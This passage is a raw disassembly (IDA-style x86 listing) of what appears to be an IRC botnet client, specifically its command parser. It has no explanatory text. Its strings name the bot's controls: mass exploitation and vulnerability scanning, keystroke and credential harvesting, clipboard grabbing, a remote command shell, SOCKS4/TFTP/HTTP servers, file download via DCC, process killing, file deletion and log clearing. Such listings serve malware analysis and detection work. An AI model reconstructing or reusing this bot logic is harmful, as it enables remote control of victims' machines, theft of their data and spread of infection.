eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40D6E7 ; --------------------------------------------------------------------------- loc_40D6E1: ; CODE XREF: sub_40CE55+852j ; sub_40CE55+857j mov esi, [ebp+var_AC] loc_40D6E7: ; CODE XREF: sub_40CE55+88Aj mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40D219 push edi push offset dword_436410 call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D50A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40D787 mov eax, dword_46899C mov eax, off_42C264[eax*4] cmp [eax], bl jz short loc_40D787 push eax push ecx push offset dword_4363F4 push [ebp+arg_4] call sub_412D06 lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C8] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4154E7 lea eax, [ebp+var_2C8] push eax call sub_40B16D add esp, 20h cmp [ebp+var_98], ebx jnz loc_40D219 push ebx lea eax, [ebp+var_2C8] push 1 push eax push offset dword_4688A4 loc_40D777: ; CODE XREF: sub_40CE55+52F2j push [ebp+arg_4] call sub_412D4C add esp, 14h jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40D787: ; CODE XREF: sub_40CE55+8BFj ; sub_40CE55+8CFj push edi push offset dword_4363D0 call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D50A mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40D50A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40D50A push eax push ecx push offset dword_4363B8 jmp loc_40D20E ; --------------------------------------------------------------------------- loc_40D7C6: ; CODE XREF: sub_40CE55+7D8j call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_43636C jmp loc_40D92F ; --------------------------------------------------------------------------- loc_40D7D7: ; CODE XREF: sub_40CE55+6FFj lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C8] push [ebp+esi+var_8C] push offset dword_436318 push eax call sub_4154E7 add esp, 10h loc_40D7F9: ; CODE XREF: sub_40CE55+7E4j ; sub_40CE55+AA2j ... push 1 pop esi jmp loc_40EFAA ; --------------------------------------------------------------------------- loc_40D801: ; CODE XREF: sub_40CE55+6F3j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D959 cmp [ebp+var_98], ebx jz loc_40D923 push 13h call sub_4151DB test eax, eax pop ecx jnz loc_40D915 push [ebp+esi+var_88] lea eax, [ebp+var_710] push offset aS_1 ; "%s" push eax call sub_4154E7 push [ebp+esi+var_84] call sub_415A5F mov [ebp+var_578], eax mov eax, [ebp+arg_4] mov [ebp+var_718], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_5F8] push eax call sub_416D40 mov eax, [ebp+var_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C8] push offset dword_4362DC push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 13h push eax call sub_414F93 add esp, 34h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_718] push ebx push eax push offset sub_40B551 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_40D907 loc_40D8F1: ; CODE XREF: sub_40CE55+AB0j cmp [ebp+var_568], ebx jnz loc_40D7F9 push 32h call dword_421060 ; Sleep jmp short loc_40D8F1 ; --------------------------------------------------------------------------- loc_40D907: ; CODE XREF: sub_40CE55+A9Aj call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_436294 jmp short loc_40D92F ; --------------------------------------------------------------------------- loc_40D915: ; CODE XREF: sub_40CE55+9DDj lea eax, [ebp+var_C4] push eax push offset dword_436250 jmp short loc_40D92F ; --------------------------------------------------------------------------- loc_40D923: ; CODE XREF: sub_40CE55+9CDj lea eax, [ebp+var_C4] push eax push offset dword_43620C loc_40D92F: ; CODE XREF: sub_40CE55+97Dj ; sub_40CE55+ABEj ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch jmp loc_40D7F9 ; --------------------------------------------------------------------------- loc_40D943: ; CODE XREF: sub_40CE55+6D8j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42C19C mov [edi], ecx jnz loc_40D219 loc_40D959: ; CODE XREF: sub_40CE55+9C1j mov edi, [edi] push edi push offset aNewshit ; "newshit" mov [ebp+arg_8], edi call sub_415910 pop ecx test eax, eax pop ecx jz loc_412996 push edi push offset aHi_0 ; "hi" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412996 cmp [ebp+var_98], ebx jnz short loc_40D9AA push [ebp+var_90] push offset dword_43646C call sub_415910 pop ecx test eax, eax pop ecx jnz loc_41298E loc_40D9AA: ; CODE XREF: sub_40CE55+B39j cmp [ebp+arg_28], ebx jnz loc_41298E xor edi, edi cmp dword_42E7A4, ebx jle loc_40DB56 mov [ebp+arg_20], offset dword_43E7A8 loc_40D9C8: ; CODE XREF: sub_40CE55+B92j push [ebp+arg_8] push [ebp+arg_20] call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40D9EE add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42E7A4 jl short loc_40D9C8 jmp loc_40DB56 ; --------------------------------------------------------------------------- loc_40D9EE: ; CODE XREF: sub_40CE55+B82j push offset asc_436588 ; " :" push [ebp+arg_0] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz loc_40D219 mov cl, byte_42C19C imul edi, 0B8h mov [eax+2], cl mov cl, byte_42C19C mov [eax+3], cl lea ecx, dword_43E7C0[edi] push 9Fh add eax, 4 push ecx push eax call sub_416D40 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40DA43: ; CODE XREF: sub_40CE55+C96j push [ebp+arg_20] lea eax, [ebp+var_A4] push offset aD_1 ; "$%d-" push eax call sub_4154E7 lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_415AC0 add esp, 14h test eax, eax jz short loc_40DAAF mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40DAAF lea eax, dword_43E7A8[edi] push eax call sub_415CF0 add [ebp+var_C], eax pop ecx jz short loc_40DAE1 mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz short loc_40DAE1 push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4099AA add esp, 0Ch jmp short loc_40DAE1 ; --------------------------------------------------------------------------- loc_40DAAF: ; CODE XREF: sub_40CE55+C16j ; sub_40CE55+C1Dj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40DAE1 lea eax, [ebp+var_A4] push 2 push eax lea eax, [ebp+var_14] push eax call sub_416D40 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4099AA add esp, 18h loc_40DAE1: ; CODE XREF: sub_40CE55+C2Fj ; sub_40CE55+C43j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40DA43 lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40DAFE: ; CODE XREF: sub_40CE55+CF5j push [ebp+arg_20] lea eax, [ebp+var_A4] push offset aD_0 ; "$%d" push eax call sub_4154E7 lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_415AC0 add esp, 14h test eax, eax jz short loc_40DB41 mov eax, [edi] cmp eax, ebx jz short loc_40DB41 push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4099AA add esp, 0Ch loc_40DB41: ; CODE XREF: sub_40CE55+CD1j ; sub_40CE55+CD7j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40DAFE mov [ebp+var_C8], 1 loc_40DB56: ; CODE XREF: sub_40CE55+B66j ; sub_40CE55+B94j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42C19C jz short loc_40DB6F cmp [ebp+var_C8], ebx jz loc_40DD54 loc_40DB6F: ; CODE XREF: sub_40CE55+D0Cj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_4099AA lea eax, [ebp+var_C4] push eax push offset aUser_2 ; "$user" push edi call sub_4099AA push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_4099AA push ebx push ebx lea eax, [ebp+var_A4] push 2 push eax call sub_414433 push eax push offset aRndnick ; "$rndnick" push edi call sub_4099AA add esp, 40h push [ebp+arg_14] push offset aServer_2 ; "$server" push edi call sub_4099AA mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_415AC0 add esp, 14h loc_40DBE1: ; CODE XREF: sub_40CE55+E78j test eax, eax jz loc_40DCD2 push edi push [ebp+arg_0] call sub_415AC0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A4] push eax call sub_416D40 lea eax, [ebp+var_A4] push offset asc_4361C0 ; ")" push eax call sub_416C98 add esp, 1Ch cmp [ebp+var_A4], 30h jl short loc_40DC2D cmp [ebp+var_A4], 39h jle short loc_40DC43 loc_40DC2D: ; CODE XREF: sub_40CE55+DCDj push 3 lea eax, [ebp+var_A4] push offset a63 ; "63" push eax call sub_416D40 add esp, 0Ch loc_40DC43: ; CODE XREF: sub_40CE55+DD6j lea eax, [ebp+var_A4] push eax call sub_415A5F test eax, eax pop ecx jle short loc_40DC66 lea eax, [ebp+var_A4] push eax call sub_415A5F pop ecx mov [ebp+var_14], al jmp short loc_40DC77 ; --------------------------------------------------------------------------- loc_40DC66: ; CODE XREF: sub_40CE55+DFDj call sub_415543 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40DC77: ; CODE XREF: sub_40CE55+E0Fj lea eax, [ebp+var_A4] mov [ebp+var_13], bl push eax call sub_415CF0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A4] push ebx push eax call sub_415570 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A4] push [ebp+arg_10] push eax call sub_416D40 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4099AA push edi push [ebp+arg_0] call sub_415AC0 add esp, 30h jmp loc_40DBE1 ; --------------------------------------------------------------------------- loc_40DCD2: ; CODE XREF: sub_40CE55+D8Ej mov edi, 1FFh lea eax, [ebp+var_F9C] push edi push [ebp+arg_0] push eax call sub_416D40 lea eax, [ebp+var_F9C] push edi push eax lea eax, [ebp+var_119C] push eax call sub_416D40 lea eax, [ebp+var_119C] push offset asc_426A00 ; " " push eax call sub_416C98 add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40DD22: ; CODE XREF: sub_40CE55+EE2j push offset asc_426A00 ; " " push ebx call sub_416C98 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40DD22 mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40D219 add ecx, 3 mov [eax], ecx loc_40DD54: ; CODE XREF: sub_40CE55+D14j mov edi, [ebp+esi+var_94] push edi push offset aEnz_rndnick ; "enz.rndnick" mov [ebp+arg_8], edi call sub_415910 pop ecx test eax, eax pop ecx jz loc_412941 push edi push offset aEnz_rn ; "enz.rn" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412941 push edi push offset aEnz_endsess ; "enz.endsess" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41291F push edi push offset aEnz_d ; "enz.d" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41291F push edi push offset aEnz_logout ; "enz.logout" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41287D push edi push offset aEnz_lo ; "enz.lo" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41287D push edi push offset aEnz_version ; "enz.version" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41285F push edi push offset aEnz_ver ; "enz.ver" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41285F push edi push offset aLockdown_on ; "lockdown.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41274A push edi push offset aLd_on ; "ld.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41274A push edi push offset aLockdown_off ; "lockdown.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41274A push edi push offset aLd_off ; "ld.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41274A push edi push offset aServer_socks4_ ; "server.socks4.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412628 push edi push offset aServer_s4_on ; "server.s4.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412628 push edi push offset aServer_socks_0 ; "server.socks4.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DEC4 push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_4360F0 loc_40DEA8: ; CODE XREF: sub_40CE55+1093j ; sub_40CE55+10B9j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_415221 add esp, 20h jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40DEC4: ; CODE XREF: sub_40CE55+103Ej push edi push offset aServer_rlogin_ ; "server.rlogin.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DEEA push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_4360CC jmp short loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DEEA: ; CODE XREF: sub_40CE55+107Ej push edi push offset dword_4360BC call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DF10 push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_4360B0 jmp short loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DF10: ; CODE XREF: sub_40CE55+10A4j push edi push offset dword_4360A8 call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DF39 push [ebp+esi+var_90] push 1Ch push offset dword_43609C push offset dword_436090 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DF39: ; CODE XREF: sub_40CE55+10CAj push edi push offset aServer_redirec ; "server.redirect.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DF62 push [ebp+esi+var_90] push 10h push offset dword_43606C push offset dword_43605C jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40CE55+10F3j push edi push offset dword_436050 call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DF8B push [ebp+esi+var_90] push 0Ah push offset dword_436044 push offset dword_436038 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DF8B: ; CODE XREF: sub_40CE55+111Cj push edi push offset dword_436028 call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DFB4 push [ebp+esi+var_90] push 0Bh push offset dword_43601C push offset dword_436010 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DFB4: ; CODE XREF: sub_40CE55+1145j push edi push offset dword_436000 call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40DFDD push [ebp+esi+var_90] push 0Fh push offset dword_435FF4 push offset dword_435FE8 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40DFDD: ; CODE XREF: sub_40CE55+116Ej push edi push offset dword_435FD8 call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E006 push [ebp+esi+var_90] push 0Eh push offset dword_435FCC push offset dword_435FC0 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E006: ; CODE XREF: sub_40CE55+1197j push edi push offset aServer_tftp_of ; "server.tftp.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E02F push [ebp+esi+var_90] push 4 push offset aServer ; "Server" push offset dword_435FA4 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E02F: ; CODE XREF: sub_40CE55+11C0j push edi push offset aBox_findfile_o ; "box.findfile.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412610 push edi push offset aBox_ff_off ; "box.ff.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412610 push edi push offset aBox_procs_off ; "box.procs.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125F8 push edi push offset aBox_ps_off ; "box.ps.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125F8 push edi push offset aClone_off ; "clone.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E0AC push [ebp+esi+var_90] push 17h push offset aClone ; "Clone" push offset dword_435F44 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E0AC: ; CODE XREF: sub_40CE55+123Dj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E0D5 push [ebp+esi+var_90] push 19h push offset aSecure_0 ; "Secure" push offset dword_435F1C jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E0D5: ; CODE XREF: sub_40CE55+1266j push edi push offset aVuln_stop ; "vuln.stop" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E0FE push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E0FE: ; CODE XREF: sub_40CE55+128Fj push edi push offset aVuln_stats ; "vuln.stats" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125E2 push edi push offset aVuln_st ; "vuln.st" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125E2 push edi push offset aEnz_reh4sh ; "enz.reh4sh" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125C1 push edi push offset aEnz_rh4 ; "enz.rh4" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4125C1 push edi push offset aEnz_endt3rm ; "enz.endt3rm" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41259F push edi push offset aEnz_et3 ; "enz.et3" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41259F push edi push offset aEnz_t3rm1nate ; "enz.t3rm1nate" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412557 push edi push offset aEnz_t3rm1 ; "enz.t3rm1" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412557 push edi push offset aEnz_status ; "enz.status" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412519 push edi push offset aEnz_s ; "enz.s" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412519 push edi push offset aEnz_id ; "enz.id" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4124E2 push edi push offset aEnz_i ; "enz.i" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4124E2 push edi push offset aBox_rebewt ; "box.rebewt" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E24C call sub_409DF3 test eax, eax mov eax, offset dword_435E40 jnz short loc_40E21E mov eax, offset dword_435E08 loc_40E21E: ; CODE XREF: sub_40CE55+13C2j push eax lea eax, [ebp+var_2C8] push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 1Ch jmp loc_40D7F9 ; --------------------------------------------------------------------------- loc_40E24C: ; CODE XREF: sub_40CE55+13B4j push edi push offset aThreads_list ; "threads.list" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4123F1 push edi push offset aThreads_l ; "threads.l" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4123F1 push edi push offset aEnz_aliases ; "enz.aliases" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4123D1 push edi push offset aEnz_al ; "enz.al" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4123D1 push edi push offset aEnz_log ; "enz.log" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4122E1 push edi push offset aEnz_lg ; "enz.lg" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4122E1 push edi push offset aUtil_clearlog ; "util.clearlog" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4122C8 push edi push offset aUtil_clg ; "util.clg" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4122C8 push edi push offset aBox_netinfo ; "box.netinfo" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412291 push edi push offset aBox_ni ; "box.ni" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412291 push edi push offset aBox_sysinfo ; "box.sysinfo" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412266 push edi push offset aBox_si ; "box.si" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412266 push edi push offset aEnz_beg0ne ; "enz.beg0ne" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41222C push edi push offset aEnz_b3g ; "enz.b3g" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41222C push edi push offset aBox_procs ; "box.procs" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412123 push edi push offset aBox_ps ; "box.ps" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412123 push edi push offset aBox_harvest ; "box.harvest" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4120F9 push edi push offset aBox_key ; "box.key" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4120F9 push edi push offset aBox_uptime ; "box.uptime" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412075 push edi push offset aBox_up ; "box.up" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412075 push edi push offset aBox_driveinfo ; "box.driveinfo" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412058 push edi push offset aBox_drv ; "box.drv" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412058 push edi push offset aBox_testdlls ; "box.testdlls" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41203F push edi push offset aBox_dll ; "box.dll" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41203F push edi push offset aBox_opencmd ; "box.opencmd" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411FF8 push edi push offset aBox_ocmd ; "box.ocmd" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411FF8 push edi push offset aBox_ocmd_off ; "box.ocmd.off" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E497 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_40E497: ; CODE XREF: sub_40CE55+1628j push edi push offset aEnz_who ; "enz.who" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40E524 cmp [ebp+var_8], ebx jnz short loc_40E4C7 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_40E4C7: ; CODE XREF: sub_40CE55+1656j mov edi, [ebp+arg_18] xor esi, esi loc_40E4CC: ; CODE XREF: sub_40CE55+16BDj cmp [edi], bl lea eax, [edi+1] jnz short loc_40E4D8 mov eax, offset aEmpty ; "<Empty>" loc_40E4D8: ; CODE XREF: sub_40CE55+167Cj push eax push esi lea eax, [ebp+var_2C8] push offset aD_S ; "%d. %s" push eax call sub_4154E7 push 1 lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_40E4CC push offset dword_435C68 loc_40E519: ; CODE XREF: sub_40CE55+5688j call sub_40B16D pop ecx jmp loc_41298E ; --------------------------------------------------------------------------- loc_40E524: ; CODE XREF: sub_40CE55+1651j push edi push offset aBox_getclip ; "box.getclip" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411FB7 push edi push offset aBox_gc ; "box.gc" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411FB7 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F8C push edi push offset aUtil_farp ; "util.farp" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F8C push edi push offset aUtil_flushdns ; "util.flushdns" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F68 push edi push offset aUtil_fdns ; "util.fdns" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F68 push edi push offset aVuln_currentip ; "vuln.currentip" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F2B push edi push offset aVuln_cip ; "vuln.cip" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411F2B push edi push offset aServer_httpd_o ; "server.httpd.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411D91 push edi push offset aServer_web_on ; "server.web.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411D91 push edi push offset aServer_tftp_on ; "server.tftp.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411C53 push edi push offset aServer_tf_on ; "server.tf.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411C53 push edi push offset aVuln_massexplo ; "vuln.massexploit" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411958 push edi push offset aVall ; "vall" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411958 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40D219 push [ebp+arg_8] push offset aEnz_nick ; "enz.nick" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41193F push [ebp+arg_8] push offset aEnz_n ; "enz.n" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41193F push [ebp+arg_8] push offset aEnz_join ; "enz.join" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41191F push [ebp+arg_8] push offset aEnz_j ; "enz.j" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41191F push [ebp+arg_8] push offset aEnz_part ; "enz.part" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411906 push [ebp+arg_8] push offset aEnz_pt ; "enz.pt" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411906 push [ebp+arg_8] push offset aEnz_raw ; "enz.raw" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4118CF push [ebp+arg_8] push offset aEnz_r ; "enz.r" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4118CF push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41180C push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41180C push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411761 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411761 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411716 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411716 push [ebp+arg_8] push offset aEnz_prefix ; "enz.prefix" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411701 push [ebp+arg_8] push offset aEnz_pr ; "enz.pr" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411701 push [ebp+arg_8] push offset aBox_open ; "box.open" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4116D7 push [ebp+arg_8] push offset aBox_o ; "box.o" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4116D7 push [ebp+arg_8] push offset aEnz_setserve ; "enz.setserve" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4116B2 push [ebp+arg_8] push offset aEnz_se ; "enz.se" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4116B2 push [ebp+arg_8] push offset aEnz_dns ; "enz.dns" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411650 push [ebp+arg_8] push offset aEnz_dn ; "enz.dn" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411650 push [ebp+arg_8] push offset aBox_killprocna ; "box.killprocname" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411624 push [ebp+arg_8] push offset aBox_kpn ; "box.kpn" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411624 push [ebp+arg_8] push offset aBox_prockillid ; "box.prockillid" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4115C9 push [ebp+arg_8] push offset aBox_pkid ; "box.pkid" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4115C9 push [ebp+arg_8] push offset aBox_delete ; "box.delete" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411592 push [ebp+arg_8] push offset aBox_del ; "box.del" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411592 push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4114B1 push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4114B1 push [ebp+arg_8] push offset aBox_filelist ; "box.filelist" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411496 push [ebp+arg_8] push offset aBox_fl ; "box.fl" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411496 push [ebp+arg_8] push offset aEnz_visit ; "enz.visit" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4113B8 push [ebp+arg_8] push offset aEnz_v ; "enz.v" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4113B8 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41137D push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41137D push [ebp+arg_8] push offset aBox_cmd ; "box.cmd" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411332 push [ebp+arg_8] push offset aBox_cm ; 